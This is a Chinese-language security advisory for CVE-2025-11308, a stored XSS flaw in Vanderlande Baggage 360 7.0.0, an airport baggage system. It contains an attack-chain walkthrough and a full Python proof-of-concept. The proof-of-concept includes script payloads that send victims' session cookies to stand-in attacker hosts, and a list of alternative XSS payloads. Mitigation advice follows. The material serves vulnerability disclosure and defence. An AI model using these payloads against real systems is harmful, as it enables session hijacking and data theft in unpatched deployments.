IPBUF安全漏洞报告
English
CVE-2025-11308 CVSS 3.5 低危

CVE-2025-11308:Vanderlande Baggage 360 存储型XSS漏洞

披露日期: 2025-10-05

漏洞信息

漏洞编号
CVE-2025-11308
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Vanderlande Baggage 360

相关标签

XSS存储型XSS跨站脚本CVE-2025-11308VanderlandeBaggage 360Web漏洞OWASP Top 10机场行李系统未修复漏洞

漏洞概述

CVE-2025-11308是Vanderlande公司Baggage 360产品(版本7.0.0)中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于系统的/api-addons/v1/messages接口中,攻击者可以通过对Message参数进行恶意构造,将恶意脚本代码注入到系统中并存储在服务器端。当其他合法用户访问包含该恶意数据的页面时,浏览器会自动执行嵌入的脚本,从而导致会话劫持、敏感信息窃取、钓鱼攻击等安全风险。

该漏洞的CVSS 3.1评分为3.5分,属于低危级别。攻击者需要拥有低权限账户(PR:L),并通过网络远程发起攻击(AV:N),但需要用户交互(UI:R)才能触发漏洞的完整影响。漏洞主要影响系统的完整性(I:L),对机密性有一定影响(C:L),但不影响系统可用性(A:N)。

值得注意的是,Vanderlande公司在漏洞披露前已被联系,但未对披露做出任何回应。漏洞的PoC(概念验证代码)已经公开,可能被恶意攻击者利用。该漏洞由安全研究员YasserREED发现并报告。Baggage 360是Vanderlande公司用于机场行李处理系统的软件,其安全性对于航空运输行业至关重要。

技术细节

该漏洞属于典型的存储型XSS(Cross-Site Scripting)漏洞,存在于Vanderlande Baggage 360 v7.0.0的/api-addons/v1/messages API端点中。

**漏洞原理:**
系统在对用户提交的消息内容(Message参数)进行处理时,未对输入进行充分的过滤和转义,也未对输出进行适当的HTML实体编码。攻击者可以构造包含恶意JavaScript代码的payload,并将其通过合法的API请求提交到服务器。由于服务器未对内容进行安全处理,恶意代码被持久化存储在后端数据库中。

**利用方式:**
1. 攻击者首先需要获取低权限账户的登录凭证(PR:L);
2. 通过认证后的会话,向/api-addons/v1/messages端点发送POST请求;
3. 在Message参数中注入恶意JavaScript代码,如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`;
4. 服务器将恶意消息存储到数据库中;
5. 当其他用户(包括管理员)查看包含该消息的页面时,恶意脚本将在受害者浏览器中执行;
6. 攻击者可窃取用户会话cookie、进行钓鱼攻击或执行其他恶意操作。

由于PoC已公开(托管在GitHub上),且厂商未发布补丁,该漏洞面临较高的被利用风险。

攻击链分析

STEP 1
步骤1:获取初始访问
攻击者通过钓鱼、社会工程或其他方式获取Vanderlande Baggage 360系统的低权限账户凭证。由于漏洞利用需要认证(PR:L),这是必要的前置条件。
STEP 2
步骤2:构造恶意Payload
攻击者构造包含恶意JavaScript代码的XSS payload,代码可实现cookie窃取、会话劫持或重定向到钓鱼页面。典型payload如:<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
STEP 3
步骤3:注入恶意消息
攻击者通过认证会话向/api-addons/v1/messages端点发送POST请求,将恶意payload作为Message参数的值提交。由于服务器未对输入进行过滤和转义,恶意代码被存储到后端数据库。
STEP 4
步骤4:等待受害者触发
恶意消息被持久化存储后,攻击者等待其他合法用户(特别是管理员用户)查看包含该消息的页面。这是用户交互(UI:R)环节。
STEP 5
步骤5:恶意代码执行
当受害者浏览包含恶意消息的页面时,浏览器解析HTML并执行嵌入的JavaScript代码。攻击者可窃取受害者的会话cookie,进而冒充受害者执行特权操作。
STEP 6
步骤6:权限提升与数据窃取
利用窃取的会话(特别是管理员会话),攻击者可访问敏感数据、修改系统配置或执行其他恶意操作,最终达成完整的数据泄露或系统控制目标。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11308 - Vanderlande Baggage 360 Stored XSS PoC # Vulnerability: Stored Cross-Site Scripting via /api-addons/v1/messages # Parameter: Message (unfiltered) # Author: YasserREED import requests # Target configuration TARGET_URL = "https://target-vanderlande-baggage360.com" API_ENDPOINT = "/api-addons/v1/messages" FULL_URL = TARGET_URL + API_ENDPOINT # Attacker session credentials (low privilege account required) SESSION_COOKIES = { "session": "authenticated_session_token_here" } # Malicious XSS payload - Stored in Message parameter XSS_PAYLOAD = { "Message": "<script>fetch('https://attacker-server.com/steal?cookie=' + document.cookie);</script>", "subject": "Normal Subject", "recipient": "admin" } def exploit_stored_xss(): """ Send a malicious message containing XSS payload to the vulnerable endpoint. The payload will be stored on the server and executed when other users view the message. """ headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: # Step 1: Authenticate (if needed) # session = requests.Session() # session.post(TARGET_URL + "/login", data=credentials) # Step 2: Submit malicious payload via Message parameter response = requests.post( FULL_URL, json=XSS_PAYLOAD, cookies=SESSION_COOKIES, headers=headers, verify=False ) if response.status_code == 200 or response.status_code == 201: print("[+] XSS payload successfully stored on the server!") print("[+] Waiting for victim (e.g., admin) to view the message...") else: print(f"[-] Failed to store payload. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {str(e)}") if __name__ == "__main__": exploit_stored_xss() # HTTP Proof of Concept (raw request): # # POST /api-addons/v1/messages HTTP/1.1 # Host: target-vanderlande-baggage360.com # Content-Type: application/json # Cookie: session=<valid_session_cookie> # # { # "Message": "<script>alert('XSS');document.location='https://attacker.com/?c='+document.cookie</script>", # "subject": "Test", # "recipient": "admin" # } # Alternative payloads: # - <img src=x onerror=alert(document.cookie)> # - <svg/onload=alert(document.cookie)> # - "><script>alert(document.cookie)</script>

影响范围

Vanderlande Baggage 360 7.0.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)在Web应用防火墙(WAF)中部署XSS检测规则,拦截包含<script>、onerror、onload等关键字的请求;2)对/api-addons/v1/messages端点实施输入过滤,禁止Message参数中包含HTML标签和JavaScript代码;3)在HTTP响应头中启用Content-Security-Policy(CSP),限制内联脚本执行;4)为所有会话cookie设置HttpOnly和Secure标志;5)限制低权限账户访问消息相关功能的权限;6)密切监控系统日志,检测可疑的消息提交行为;7)考虑在反向代理层面实施请求过滤。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表